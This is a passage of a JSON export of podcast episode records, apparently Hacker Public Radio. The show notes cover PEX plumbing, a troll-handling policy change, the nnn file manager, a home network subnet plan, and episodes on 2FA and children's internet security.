                                                                  3. In the United states, PEX-A connectors have limited availability in typical hardware and home improvement stores
                                                                  4. \n
                                                                8. \n
                                                                9. Type B – Crimp PEX (Doesn't stretch)
                                                                10. \n
                                                                11. Process\n
                                                                    \n
                                                                  1. A metal ring or band is placed around the end of the PEX-B tubing
                                                                  2. \n
                                                                  3. The tubing is slipped over the end of the desired PEX-B connector
                                                                  4. \n
                                                                  5. A special tool us used to crimp the metal ring or a different tool may be used to tighten the metal band, creating a seal
                                                                  6. \n
                                                                  7. Video: https://www.youtube.com/watch?v=U-t-ZeHv9s0
                                                                  8. \n
                                                                12. \n
                                                                13. Advantages\n
                                                                    \n
                                                                  1. Fast & easy to install
                                                                  2. \n
                                                                  3. Crimping tools are less expensive
                                                                  4. \n
                                                                  5. Higher availability of a wider range of connectors at typical home improvement stores in the United States
                                                                  6. \n
                                                                14. \n
                                                                15. Disadvantages\n
                                                                    \n
                                                                  1. If PEX-B is kinked, that portion is no longer safe to use and it must be replaced.
                                                                  2. \n
                                                                  3. Can be more difficult to connect in tight places
                                                                  4. \n
                                                                  5. This can be remedied with the use of SharkBite press on fittings.
                                                                  6. \n
                                                                  7. Less resistant to damage from freezing.
                                                                  8. \n
                                                                16. \n
                                                              16. \n
                                                              17. Connections are also easily removed
                                                              18. \n
                                                              19. Disadvantages
                                                              20. \n
                                                              21. Easily damaged by ultraviolet light from sunlight or even LED & fluorescent lights (Check manufacturer specifications. Most rated for only 30-60 days of sun exposure)\n
                                                                  \n
                                                                1. https://www.doityourself.com/stry/how-long-can-pex-piping-be-exposed-to-sunlight
                                                                2. \n
                                                                3. https://www.flowguardgold.com/en-us/blog/the-influence-of-uv-light-on-plastic-plumbing-systems
                                                                4. \n
                                                              22. \n
                                                              23. Long term durability yet to be proven
                                                              24. \n
                                                              25. Non-conductive (electrical ground)
                                                              26. \n
                                                              27. Not rigid – Must be supported
                                                              28. \n
                                                              29. May induce an odd taste to water for the first few weeks.
                                                              30. \n
                                                              31. Some say PEX can leach toxins into water\n
                                                                  \n
                                                                1. Norwegian Institute of Public Health study says PEX is safe https://www.sciencedaily.com/releases/2011/11/111108132905.htm
                                                                2. \n
                                                                3. Ewg.org article expresses doubts to safety https://www.ewg.org/news-insights/news/amid-pipe-wars-researchers-wary-plastic-pipes-leaching-chemicals
                                                                4. \n
                                                              32. \n
                                                            4. \n
                                                            \n","hostid":394,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"diy, plumbing,PEX","version":0,"downloads":0,"valid":1}, {"id":3615,"date":"2022-06-10","title":"I am a troll and I'm trolling HPR, trolling HPR, trolling HPR.","duration":1608,"summary":"We got trolled and what we're going to do about it.","notes":"

                                                            In today's show Dave and I will read out the mail list thread we didn't cover in the Community News.

                                                            \n

                                                            Before we get to that, I wanted to inform you that we now know that the host in question was deliberately trolling HPR.

                                                            \n

                                                            I know this because they told me, and when I asked them to stop they went on to explain that they are a gadfly. I had to look that one up.

                                                            \n

                                                            Whatever they claim to be, the end effect for us is trolling.

                                                            \n

                                                            Both Josh and Myself have had some unnecessary stressful weeks for someone's idea of a joke.

                                                            \n

                                                            That said there have been some positives about this as well.

                                                            \n

                                                            Again we see the HPR community at its best in providing support and reasoned arguments.

                                                            \n

                                                            We have identified a possible loop hole in governance, that has been addressed by having a special advisory committee aka the auditor team of volunteers.

                                                            \n

                                                            And when we come up with a way of dealing with troll issues, we also get a mechanism to deal with DMCA take down requests, and other complaints.

                                                            \n

                                                            So what do we do with a troll ? Easy, just ignore them, or to put it another way \"Stay Calm and Go On\".

                                                            \n

                                                            This works well for comments but its not enough when the tactic is deliberate targeting of HPR.

                                                            \n

                                                            A lot of effort has gone into this attack:

                                                            \n
                                                              \n
                                                            • First they built trust by posting technical shows. This is a similar tactic that we see spammers use.
                                                            • \n
                                                            • Then they submitted a series of shows that would cause HPR legal issues.
                                                            • \n
                                                            • They then did not respond to questions, presumably in the hope that we would delete the shows ourselves.
                                                            • \n
                                                            \n

                                                            By moving the shows out to later in the queue we were able to avoid claims of \"censorship\", and they eventually removed the problem shows of their own accord.

                                                            \n

                                                            So what attack vector will be used next, and how will we deal with it ?

                                                            \n

                                                            I have no idea, but how to deal with it is also not so easy. We'll have to cross that bridge when we come to it.

                                                            \n

                                                            We do however need to tackle the risky situation of having problem content available on the website.

                                                            \n

                                                            So I suggest that we continue to post the shows as normal, if we get a complaint then the Janitors will contact the host as normal.

                                                            \n

                                                            Should they be unavailable, uncooperative, or disagree, then the Janitors can either move the show to the backup queue, or hide it depending on the severity of the complaint.

                                                            \n

                                                            In all cases we'll keep the special advisory committee aka the auditor team of volunteers in the loop to make sure all is above board.

                                                            \n

                                                            The community can then decide on the best course of action.

                                                            \n

                                                            So therefore I would like to propose the following changes to our policies.

                                                            \n

                                                            Both relate to https://hackerpublicradio.org/stuff_you_need_to_know.php#not_moderated

                                                            \n

                                                            Currently: \"We do not vet, edit, moderate or in any way censor any of the audio you submit, we trust you to do that.\"

                                                            \n

                                                            Proposed: \"We do not vet, edit, moderate or in any way censor any of the audio you submit, we trust you not to upload anything that will harm HPR.\"

                                                            \n

                                                            Add the line: \"Any material that is reported as harming HPR may be unlisted until such a time as the situation can be resolved.\"

                                                            \n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"troll, policy change","version":0,"downloads":0,"valid":1}, {"id":3616,"date":"2022-06-13","title":"Filling free Slots from the Reserve Queue","duration":899,"summary":"You can now submit shows to the Reserve Queue for when free slots are not filled on time.","notes":"

                                                            \nIn today's show the Janitors discuss how the erratic feast/famine nature of the queue may be helped by filling free slots in the main feed from a reserve queue.\n

                                                            \n

                                                            \nThe current Emergency Queue would be renamed to the Reserve Queue.
                                                            \nIf a free slot in the calendar is not filled in time, then a show will be used from the Reserve Queue.
                                                            \nShows will be taken from the Reserve Queue on a first in first out basis.
                                                            \nHosts can either schedule a show for a particular slot or have their shows added to the Reserve Queue.
                                                            \nEventually we will we work on a dedicated upload option, but for now hosts can pick a random slot and just make a note in the show notes that the show is intended for the Reserve Queue.
                                                            \n

                                                            \n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"HPR Scheduling, Queue, Reserve Queue","version":0,"downloads":0,"valid":1}, {"id":3617,"date":"2022-06-14","title":"admin admin S01E05: To Do List - 2FA","duration":874,"summary":"Making ourselves a less attractive target by implementing 2FA.","notes":"

                                                            Picking up from the last episode, we are now delving in to the security measures we can implement to make ourselves less attractive for Evil Steve. Two Factor Authentication (2FA) is at the top of the list.

                                                            \n

                                                            Links:

                                                            \n\n\n","hostid":405,"series":74,"explicit":1,"license":"CC-BY-SA","tags":"adminadmin,Lurking Prion,cybersecurity,security,threats,2FA,Evil Steve, two factor","version":0,"downloads":0,"valid":1}, {"id":3618,"date":"2022-06-15","title":"The nnn terminal file manager","duration":434,"summary":"The nnn terminal file manager and common uses","notes":"
                                                            Set default text editor
                                                            \n
                                                            Edit .bashrc (in Fedora)
                                                            \n
                                                            # Export Default editor and while we're at it, the PATH to /opt\nexport EDITOR=vim\nexport PATH=/opt:$PATH
                                                            \n

                                                            Enable icons-in-terminal icons

                                                            \n

                                                            https://github.com/jarun/nnn/wiki/Advanced-use-cases

                                                            \n

                                                            https://github.com/sebastiencs/icons-in-terminal#installation

                                                            \n

                                                            To enable icons-in-terminal icons

                                                            \n
                                                            Install icons-in-terminal\nClone the nnn repo\nCompile nnn with make O_ICONS=1 from the root s
                                                            \n

                                                            To enable Nerdfont icons

                                                            \n
                                                            Download and install a patched Nerdfont.\nApply that font as your terminal emulator's font. This will vary from emulator to\nemulator, but usually involves editing a config file or changing a setting within a\nGUI menu system.\nClone the nnn repo\nCompile nnn with make O_NERD=1 from the root
                                                            \n

                                                            Note:

                                                            \n
                                                            Arch Linux users can check out the AUR packages nnn-icons and nnn-nerd.
                                                            \n

                                                            Set default applications via .config/mineapps.list

                                                            \n
                                                            xdg-mime manpage
                                                            \n\n
                                                            update-mime-database manpage
                                                            \n\n
                                                            Add entry and use right away
                                                            \n
                                                              \n
                                                            • xdg-mime default mpv.desktop video/mpeg

                                                            • \n
                                                            • Query the entry

                                                            • \n
                                                            \n
                                                            xdg-mime query default image/png\nfeh.desktop
                                                            \n
                                                              \n
                                                            • Query the file in question
                                                            • \n
                                                            \n
                                                            xdg-mime query filetype cory-doctorow-makers.epub\napplication/epub+zip
                                                            \n
                                                            Examples
                                                            \n
                                                            image/jpeg=feh.desktop\naudio/x-wav=mpv.desktop\naudio/flac=mpv.desktop\napplication/epub+zip=calibre-ebook-viewer.desktop\nvideo/mpg=mpv.desktop\nvideo/mpeg=mpv.desktop\nvideo/iso=vlc.desktop\naudio/ogg=mpv.desktop\ntext/pdf=zathura.desktop\napplication/pdf=org.pwmt.zathura-pdf-mupdf.desktop\ntext/markdown=ebook-viewer.desktop\n\n[Added Associations]\nimage/png=feh.desktop;\nvideo/x-matroska=mpv.desktop;\nimage/jpeg=feh.desktop;\naudio/x-wav=mpv.desktop;\naudio/flac=mpv.desktop;\napplication/epub+zip=calibre-ebook-viewer.desktop;\napplication/x-cd-image=vlc.desktop;
                                                            \n

                                                            How I use nnn

                                                            \n
                                                              \n
                                                            • Watching movies and tv shows from samba Pi server\n
                                                                \n
                                                              • Moving video rips to another directory
                                                              • \n
                                                            • \n
                                                            \n

                                                            Sample with folder icons
                                                            \n\"Sample

                                                            \n
                                                              \n
                                                            • Reading pdf files

                                                              \n
                                                                \n
                                                              • Zathura
                                                              • \n
                                                            • \n
                                                            • Reading epub books

                                                              \n
                                                                \n
                                                              • Calibre e-book viewer
                                                              • \n
                                                            • \n
                                                            • Editing files in vim

                                                              \n
                                                                \n
                                                              • 'e' to edit
                                                              • \n
                                                            • \n
                                                            • Creating new files

                                                            • \n
                                                            • Creating new directories

                                                            • \n
                                                            • Dropping to a command prompt temporarily, using '!'

                                                            • \n
                                                            • Extracting tar.gz and zip files

                                                            • \n
                                                            • Bulk file renaming

                                                            • \n
                                                            • Organizing files

                                                              \n
                                                                \n
                                                              • use '/' to find like files and 'ESC'
                                                              • \n
                                                            • \n
                                                            • Send file as attachment in mutt

                                                              \n
                                                                \n
                                                              • 'o' to open file, 'mutt -a' to attach files
                                                              • \n
                                                            • \n
                                                            • KDEconnect to send files and web links

                                                              \n
                                                              #!/bin/bash\n\nkdeconnect-cli -d $(kdeconnect-cli -a --id-only) --share $1
                                                            • \n
                                                            • View all commands

                                                              \n
                                                                \n
                                                              • '?'
                                                              • \n
                                                            • \n
                                                            \n

                                                            Help screen
                                                            \n\"Help
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            Videos

                                                            \n\n

                                                            More info

                                                            \n\n\n

                                                            Applications

                                                            \n\n","hostid":318,"series":11,"explicit":0,"license":"CC-BY-SA","tags":"nnn, file manager, lightweight apps, vim, zathura, calibre","version":0,"downloads":0,"valid":1}, {"id":3619,"date":"2022-06-16","title":"Linux Inlaws S01E58: Kubernetes and Friends and Sarah","duration":4090,"summary":"The fun continues with a discussion of container orchestration frameworks, death (of containers) and","notes":"In this continuation of S01E57 our two chaps discuss how you can take containers from\nsingle instances to production-ready, scalable deployments handling large app stacks\nand that new-fangled hipster concept called micro-services. Using the once Google-owned project called Borg which later evolved into something now known as Kubernetes (k8s) as an example,\nMartin and Chris discuss typical challenges when using containers as the main infrastructure\nto modern workloads. Including such gory topics such as what happens if a container dies and\ndoesn't go to heaven, contradictions in terms such as ephemeral storage and why many k8s developers\nhave defected to VMware.\n

                                                            Links:

                                                            \n\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"Kubernetes, Mesos, cri-o, YAML, OpenShift, hpr3577","version":0,"downloads":0,"valid":1}, {"id":3620,"date":"2022-06-17","title":"Photo storage, backups, and workflow","duration":1222,"summary":"How to keep your photos safe","notes":"

                                                            If you have photos that are important to you, you should take steps to protect them. Every day someone loses a lifetime of memories because they didn't take these steps. Don't be one of them. In this tutorial I explain how I backup and protect my photos and what my workflow is like. You may find some ideas here that you can use.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":113,"explicit":0,"license":"CC-BY-SA","tags":"GIMP, Photo storage, Photo backup, Photo workflow","version":0,"downloads":0,"valid":1}, {"id":3621,"date":"2022-06-20","title":"Watching YouTube in 2022","duration":1236,"summary":"A few of the channels that distracted me through COVID-19 and beyond","notes":"
                                                            \n

                                                            Another YouTube list? Yes ;-)

                                                            \n

                                                            I found myself watching YouTube a lot during the worst of the pandemic, and as I saw the world falling apart in many ways. YouTube has been something of a lifeline in the past years, helping me find stuff I actually want to watch, which (mostly) doesn’t have all the fake crap that’s on TV. I must say though, that I loathe and detest the apparent trend towards #shorts - I really don’t see the point of them!

                                                            \n

                                                            The channels I chose at this time were to help me understand something of what was going on in the pandemic and in world politics, and a few gave me some distractions from it all.

                                                            \n

                                                            This is a fairly short list that I’m sharing; I could list quite a few more, but I thought some of these recommendations might be of interest to the HPR audience.

                                                            \n

                                                            Channels

                                                            \n
                                                              \n
                                                            1. Just Have a Think

                                                              \n
                                                                \n
                                                              • Dave Borlace, the host, talks about climate and sustainable energy.

                                                              • \n
                                                              • The episodes are well researched and explained clearly, and I find they can often give out some hope that we can lessen the effects of the climate change that is certainly coming.

                                                              • \n
                                                              • Recent episodes have covered: the IPCC Survival Guide, plastic eating enzymes and CO2 removal from the oceans.

                                                              • \n
                                                              • https://www.youtube.com/c/JustHaveaThink

                                                              • \n
                                                            2. \n
                                                            3. Undecided with Matt Ferrell

                                                              \n
                                                                \n
                                                              • Matt Ferrell, the host, looks at how smart and sustainable technology impacts our lives.

                                                              • \n
                                                              • Another clear-sighted and well researched look at technology, particularly in the current world context. There’s also a podcast Still To Be Determined where Matt and his brother Sean have a conversation following on from the shows on YouTube.

                                                              • \n
                                                              • Recent episodes have covered:

                                                                \n
                                                                  \n
                                                                • An improved method of generating green hydrogen
                                                                • \n
                                                                • Using machine learning to boost renewable energy generation and reduce costs of wind farms
                                                                • \n
                                                                • Plastic recycling is not as we’ve been led to believe.
                                                                • \n
                                                              • \n
                                                              • https://www.youtube.com/c/UndecidedMF (with the podcast https://feeds.transistor.fm/still-to-be-determined)

                                                              • \n
                                                            4. \n
                                                            5. Second Thought

                                                              \n
                                                                \n
                                                              • A channel devoted to education and analysis of current events from a Socialist perspective.

                                                              • \n
                                                              • My Socialist, anti-Capitalist sympathies fit well with the contents of this channel, and I’m learning from it. It’s very well done, and has obviously taken some effort to produce.

                                                              • \n
                                                              • Some recent episode titles:

                                                                \n
                                                                  \n
                                                                • What if we just stopped working?
                                                                • \n
                                                                • How Consulting firms secretly run entire countries
                                                                • \n
                                                              • \n
                                                              • https://www.youtube.com/c/SecondThought

                                                              • \n
                                                            6. \n
                                                            7. Democracy at Work

                                                              \n
                                                                \n
                                                              • Channel description: Democracy at Work is a non-profit 501(c)3 that produces media and live events. Our work analyzes capitalism critically as a systemic problem and advocates for democratizing workplaces as part of a systemic solution. We seek a stronger, fuller democracy – in our politics and culture as well as in our economy - based on workers’ equal collaboration and shared leadership inside enterprises and throughout society.

                                                              • \n
                                                              • The insights shared by Prof. Richard D. Wolff in particular help me to understand a lot of what is going wrong in many countries in the world, though he concentrates on the USA. You will hear him speaking at events, on the radio in the USA and on other YouTube channels and podcasts. There are other presenters on the channel, particularly: Dr. Harriet Fraad (Capitalism Hits Home) and Prof. David Harvey (Anti-Capitalist Chronicles)

                                                              • \n
                                                              • https://www.youtube.com/c/democracyatwrk

                                                              • \n
                                                            8. \n
                                                            9. AT Restoration

                                                              \n
                                                                \n
                                                              • A furniture restorer, Ahti, located in Estonia

                                                              • \n
                                                              • The quality of the workmanship is wonderful, as can be seen when he turns what look like ruined pieces of furniture into beautiful items. Some restorations are for clients, some for himself.

                                                              • \n
                                                              • Recent episodes have covered:

                                                                \n
                                                                  \n
                                                                • Restoration of an Art Noveau chair
                                                                • \n
                                                                • A mirror seat with water damage - the client doesn’t want it to look new though
                                                                • \n
                                                                • A 19th century coffee grinder
                                                                • \n
                                                              • \n
                                                              • https://www.youtube.com/c/ATRestoration

                                                              • \n
                                                            10. \n
                                                            11. Marty T

                                                              \n
                                                                \n
                                                              • From the channel description: I started this channel to share my ideas, creations, adventures and to show people how easy it is to live off the grid & save money.

                                                              • \n
                                                              • Marty, the host and his family live in the north of the south island of New Zealand (Marlborough Sounds1). Marty shows how he recovers old abandoned machines like tractors and excavators and puts them to use on his land. They are off-grid and their electricity comes from a turbine he built from an adapted scrap washing machine. I find it fascinating to watch the resourcefulness of the people in this part of the world.

                                                              • \n
                                                              • Some highlights in the past year:

                                                                \n
                                                                  \n
                                                                • Salvaging an Abandoned TD9 Bulldozer from the Forest. Will it start??
                                                                • \n
                                                                • Salvaging an Abandoned Vintage Tractor - David Brown 25
                                                                • \n
                                                              • \n
                                                              • https://www.youtube.com/c/MartyT

                                                              • \n
                                                            12. \n
                                                            13. Jeff Geerling

                                                              \n
                                                                \n
                                                              • Lots of stuff of a technical nature, often involving the Raspberry Pi, but not exclusively.

                                                              • \n
                                                              • Lots of great projects and ideas to learn from. For example, he has championed the Turing Pi a board which can take multiple Raspberry Pi Compute Modules to form a Pi cluster.

                                                              • \n
                                                              • Some highlights in the past few months:

                                                                \n
                                                                  \n
                                                                • Top 10 Raspberry Pi Projects for 2022
                                                                • \n
                                                                • The Petabyte Pi Project
                                                                • \n
                                                              • \n
                                                              • https://www.youtube.com/c/JeffGeerling

                                                              • \n
                                                            14. \n
                                                            15. Ocean Conservation Namibia

                                                              \n
                                                                \n
                                                              • From the description: Ocean Conservation Namibia is dedicated to the protection of Namibia’s marine wildlife. OCN was started by Naude and Katja Dreyer in January 2020 to create global awareness of ocean and plastic pollution and its horrible and avoidable impact on animals and specifically seals.

                                                              • \n
                                                              • The team manage to produce a brief daily video where they rescue seals which are entangled in plastic and other items. The seals find these things, such as spools or bundles of fishing line, and tend to play with them, and eventually the loop or spool gets stuck around their neck, which can cut them badly and eventually kill them.

                                                              • \n
                                                              • Recent highlights have been:

                                                                \n
                                                                  \n
                                                                • Rescuers Use SAW To Save Baby Seal
                                                                • \n
                                                                • Hook in Seal’s Eye Tied To Another Seal!
                                                                • \n
                                                                • Seal Entangled in Ball of Fishing Line
                                                                • \n
                                                              • \n
                                                              • https://www.youtube.com/c/OceanConservationNamibia

                                                              • \n
                                                            16. \n
                                                            \n

                                                            I hope you find these channels interesting and useful yourself.

                                                            \n

                                                            Links

                                                            \n\n
                                                            \n
                                                            \n
                                                              \n
                                                            1. In the audio I said Marlborough Sounds was in the North West of the South Island of NZ, but in fact it’s in the North East. See the Wikipedia article for more information.↩︎

                                                            2. \n
                                                            \n
                                                            \n
                                                            \n","hostid":225,"series":106,"explicit":1,"license":"CC-BY-SA","tags":"YouTube,channel","version":0,"downloads":0,"valid":1}, {"id":3622,"date":"2022-06-21","title":"My Network Setup.","duration":1355,"summary":"How I've Constructed My Home Network.","notes":"

                                                            Sgoti's Network Documentation.

                                                            \n

                                                            Device List.

                                                            \n\n

                                                            Client List.

                                                            \n
                                                              \n
                                                            • Client01, SGOTI\n
                                                                \n
                                                              • MAC Address: 00-00-00-00-00-00
                                                              • \n
                                                            • \n
                                                            • Client02, SGOTI\n
                                                                \n
                                                              • MAC Address: 00-00-00-00-00-00
                                                              • \n
                                                            • \n
                                                            • Client03, SGOTI\n
                                                                \n
                                                              • MAC Address: 00-00-00-00-00-00
                                                              • \n
                                                            • \n
                                                            • Client04, USER\n
                                                                \n
                                                              • MAC Address: 00-00-00-00-00-00
                                                              • \n
                                                            • \n
                                                            • Client05, USER\n
                                                                \n
                                                              • MAC Address: 00-00-00-00-00-00
                                                              • \n
                                                            • \n
                                                            • Client06, USER\n
                                                                \n
                                                              • MAC Address: 00-00-00-00-00-00
                                                              • \n
                                                            • \n
                                                            • Client07, USER\n
                                                                \n
                                                              • MAC Address: 00-00-00-00-00-00
                                                              • \n
                                                            • \n
                                                            • Client08, USER\n
                                                                \n
                                                              • MAC Address: 00-00-00-00-00-00
                                                              • \n
                                                            • \n
                                                            \n

                                                            Server List.

                                                            \n
                                                              \n
                                                            • Server01, SGOTI@HQBAK\n
                                                                \n
                                                              • AMD x86 FX w/ 1 SATA III 2.5\" Seagate 240Gig
                                                              • \n
                                                              • 2 SATA III 3.5\" Western Digital Red 8TB
                                                              • \n
                                                            • \n
                                                            • Server02, NASPi\n
                                                                \n
                                                              • Pi4 model B, 8Gig, Geekworm NASPi w/ SATA III 2.5\" 1TB
                                                              • \n
                                                            • \n
                                                            • Server03, ArgonOne\n
                                                                \n
                                                              • Pi4 model B, 8Gig, ArgonOne w/ m.2 Western Digital Blue 500Gig
                                                              • \n
                                                            • \n
                                                            • Server04, DEVPi\n
                                                                \n
                                                              • Pi4 model B, 4Gig
                                                              • \n
                                                            • \n
                                                            • Server05, ZeroHero01\n
                                                                \n
                                                              • Pi Zero 2 W w/ microSD 128Gig
                                                              • \n
                                                            • \n
                                                            \n

                                                            LAN.

                                                            \n
                                                              \n
                                                            • VLAN: NUMBERS
                                                            • \n
                                                            • IP Block: 192.168.0.1/24
                                                            • \n
                                                            • Subnet Mask: 255.255.255.0
                                                            • \n
                                                            • Gateway: 192.168.0.1
                                                            • \n
                                                            • Broadcast: 192.168.0.255
                                                            • \n
                                                            • Group01: DEVICES\n
                                                                \n
                                                              • 192.168.0.02, Device02
                                                              • \n
                                                              • 192.168.0.03, Device03
                                                              • \n
                                                              • 192.168.0.04, Device04
                                                              • \n
                                                              • 192.168.0.05
                                                              • \n
                                                              • 192.168.0.06
                                                              • \n
                                                              • 192.168.0.07
                                                              • \n
                                                              • 192.168.0.08
                                                              • \n
                                                              • 192.168.0.09
                                                              • \n
                                                            • \n
                                                            • Group02: SGOTI\n
                                                                \n
                                                              • 192.168.0.10, Client01
                                                              • \n
                                                              • 192.168.0.11
                                                              • \n
                                                            • \n
                                                            • Group03: DHCP\n
                                                                \n
                                                              • 192.168.0.12
                                                              • \n
                                                              • 192.168.0.13
                                                              • \n
                                                              • 192.168.0.14
                                                              • \n
                                                              • 192.168.0.15
                                                              • \n
                                                            • \n
                                                            \n

                                                            Resistance Network.

                                                            \n
                                                              \n
                                                            • VLAN: NUMBERS
                                                            • \n
                                                            • IP Block: 192.168.2.1/27
                                                            • \n
                                                            • Subnet Mask: 255.255.255.224
                                                            • \n
                                                            • Gateway: 192.168.2.1
                                                            • \n
                                                            • Broadcast: 192.168.2.31
                                                            • \n
                                                            • Group01: SGOTI\n
                                                                \n
                                                              • 192.168.2.02
                                                              • \n
                                                              • 192.168.2.03
                                                              • \n
                                                              • 192.168.2.04
                                                              • \n
                                                              • 192.168.2.05
                                                              • \n
                                                              • 192.168.2.06
                                                              • \n
                                                            • \n
                                                            • Group02: USER\n
                                                                \n
                                                              • 192.168.2.07
                                                              • \n
                                                              • 192.168.2.08
                                                              • \n
                                                              • 192.168.2.09
                                                              • \n
                                                              • 192.168.2.10
                                                              • \n
                                                              • 192.168.2.11
                                                              • \n
                                                            • \n
                                                            • Group03: USER\n
                                                                \n
                                                              • 192.168.2.12
                                                              • \n
                                                              • 192.168.2.13
                                                              • \n
                                                              • 192.168.2.14
                                                              • \n
                                                              • 192.168.2.15
                                                              • \n
                                                              • 192.168.2.16
                                                              • \n
                                                            • \n
                                                            • Group04: USER\n
                                                                \n
                                                              • 192.168.2.17
                                                              • \n
                                                              • 192.168.2.18
                                                              • \n
                                                              • 192.168.2.19
                                                              • \n
                                                              • 192.168.2.20
                                                              • \n
                                                              • 192.168.2.21
                                                              • \n
                                                            • \n
                                                            • Group04: SERVERS\n
                                                                \n
                                                              • 192.168.2.22
                                                              • \n
                                                              • 192.168.2.23
                                                              • \n
                                                              • 192.168.2.24
                                                              • \n
                                                              • 192.168.2.25
                                                              • \n
                                                              • 192.168.2.26
                                                              • \n
                                                            • \n
                                                            • Group05: DHCP\n
                                                                \n
                                                              • 192.168.2.27
                                                              • \n
                                                              • 192.168.2.28
                                                              • \n
                                                              • 192.168.2.29
                                                              • \n
                                                              • 192.168.2.30
                                                              • \n
                                                            • \n
                                                            \n

                                                            T100 Network.

                                                            \n
                                                              \n
                                                            • VLAN: NUMBERS
                                                            • \n
                                                            • IP Block: 192.168.3.1/27
                                                            • \n
                                                            • Subnet Mask: 255.255.255.224
                                                            • \n
                                                            • Gateway: 192.168.3.1
                                                            • \n
                                                            • Broadcast: 192.168.3.31
                                                            • \n
                                                            • Group01: SGOTI\n
                                                                \n
                                                              • 192.168.3.02
                                                              • \n
                                                              • 192.168.3.03
                                                              • \n
                                                              • 192.168.3.04
                                                              • \n
                                                              • 192.168.3.05
                                                              • \n
                                                              • 192.168.3.06
                                                              • \n
                                                            • \n
                                                            • Group02: SERVERS\n
                                                                \n
                                                              • 192.168.3.07
                                                              • \n
                                                              • 192.168.3.08
                                                              • \n
                                                              • 192.168.3.09
                                                              • \n
                                                              • 192.168.3.10
                                                              • \n
                                                              • 192.168.3.11
                                                              • \n
                                                            • \n
                                                            • Group03: DHCP\n
                                                                \n
                                                              • 192.168.3.12
                                                              • \n
                                                              • 192.168.3.13
                                                              • \n
                                                              • 192.168.3.14
                                                              • \n
                                                              • 192.168.3.15
                                                              • \n
                                                              • 192.168.3.16
                                                              • \n
                                                              • 192.168.3.17
                                                              • \n
                                                              • 192.168.3.18
                                                              • \n
                                                              • 192.168.3.19
                                                              • \n
                                                              • 192.168.3.20
                                                              • \n
                                                              • 192.168.3.21
                                                              • \n
                                                              • 192.168.3.22
                                                              • \n
                                                              • 192.168.3.23
                                                              • \n
                                                              • 192.168.3.24
                                                              • \n
                                                              • 192.168.3.25
                                                              • \n
                                                              • 192.168.3.26
                                                              • \n
                                                              • 192.168.3.27
                                                              • \n
                                                              • 192.168.3.28
                                                              • \n
                                                              • 192.168.3.29
                                                              • \n
                                                              • 192.168.3.30
                                                              • \n
                                                            • \n
                                                            \n

                                                            T1000 Network.

                                                            \n
                                                              \n
                                                            • VLAN: NUMBERS
                                                            • \n
                                                            • IP Block: 192.168.4.1/27
                                                            • \n
                                                            • Subnet Mask: 255.255.255.224
                                                            • \n
                                                            • Gateway: 192.168.4.1
                                                            • \n
                                                            • Broadcast: 192.168.4.31
                                                            • \n
                                                            • Group01: SGOTI\n
                                                                \n
                                                              • 192.168.4.02
                                                              • \n
                                                              • 192.168.4.03
                                                              • \n
                                                              • 192.168.4.04
                                                              • \n
                                                              • 192.168.4.05
                                                              • \n
                                                              • 192.168.4.06
                                                              • \n
                                                            • \n
                                                            • Group02: SERVERS\n
                                                                \n
                                                              • 192.168.4.07
                                                              • \n
                                                              • 192.168.4.08
                                                              • \n
                                                              • 192.168.4.09
                                                              • \n
                                                              • 192.168.4.10
                                                              • \n
                                                              • 192.168.4.11
                                                              • \n
                                                            • \n
                                                            • Group03: DHCP\n
                                                                \n
                                                              • 192.168.4.12
                                                              • \n
                                                              • 192.168.4.13
                                                              • \n
                                                              • 192.168.4.14
                                                              • \n
                                                              • 192.168.4.15
                                                              • \n
                                                              • 192.168.4.16
                                                              • \n
                                                              • 192.168.4.17
                                                              • \n
                                                              • 192.168.4.18
                                                              • \n
                                                              • 192.168.4.19
                                                              • \n
                                                              • 192.168.4.20
                                                              • \n
                                                              • 192.168.4.21
                                                              • \n
                                                              • 192.168.4.22
                                                              • \n
                                                              • 192.168.4.23
                                                              • \n
                                                              • 192.168.4.24
                                                              • \n
                                                              • 192.168.4.25
                                                              • \n
                                                              • 192.168.4.26
                                                              • \n
                                                              • 192.168.4.27
                                                              • \n
                                                              • 192.168.4.28
                                                              • \n
                                                              • 192.168.4.29
                                                              • \n
                                                              • 192.168.4.30
                                                              • \n
                                                            • \n
                                                            \n

                                                            Skynet Network.

                                                            \n
                                                              \n
                                                            • VLAN: NUMBERS
                                                            • \n
                                                            • IP Block: 192.168.5.1/28
                                                            • \n
                                                            • Subnet Mask: 255.255.255.240
                                                            • \n
                                                            • Gateway: 192.168.5.1
                                                            • \n
                                                            • Broadcast: 192.168.5.15
                                                            • \n
                                                            • Group01: SGOTI\n
                                                                \n
                                                              • 192.168.5.02
                                                              • \n
                                                              • 192.168.5.03
                                                              • \n
                                                              • 192.168.5.04
                                                              • \n
                                                              • 192.168.5.05
                                                              • \n
                                                              • 192.168.5.06
                                                              • \n
                                                            • \n
                                                            • Group02: SERVERS\n
                                                                \n
                                                              • 192.168.5.07
                                                              • \n
                                                              • 192.168.5.08
                                                              • \n
                                                              • 192.168.5.09
                                                              • \n
                                                              • 192.168.5.10
                                                              • \n
                                                              • 192.168.5.11
                                                              • \n
                                                            • \n
                                                            • Group03: DHCP\n
                                                                \n
                                                              • 192.168.5.12
                                                              • \n
                                                              • 192.168.5.13
                                                              • \n
                                                              • 192.168.5.14
                                                              • \n
                                                            • \n
                                                            \n","hostid":391,"series":61,"explicit":0,"license":"CC-BY-SA","tags":"Networking, TP-Link Omada, Subnetting","version":0,"downloads":0,"valid":1}, {"id":3623,"date":"2022-06-22","title":"Internet Security - Child Edition","duration":2487,"summary":"I have a discussion about Internet security with R. Brady Frost along with our sons","notes":"

                                                            The stuff Evil Steve doesn't want you to know with Lurking Prion. This is Season 1, Episode 8.

                                                            \n

                                                            In this episode, I have a discussion about Internet security with special guest and author, R. Brady Frost along with his son and mine. The discussion revolves around how our kids view Internet security and we discuss dangers they hadn't considered.

                                                            \n

                                                            Pics of the week:

                                                            \n\n

                                                            Links:

                                                            \n\n","hostid":405,"series":74,"explicit":1,"license":"CC-BY-SA","tags":"cybersecurity,security,EvilSteve,breach,data reduction,privacy","version":0,"downloads":0,"valid":1}, {"id":3624,"date":"2022-06-23","title":"Everything You Always Wanted to Know About PEX Parts 3 & 4","duration":816,"summary":"Discusses plumbing code and installation","notes":"

                                                            Everything You Always Wanted to Know About PEX

                                                            \n

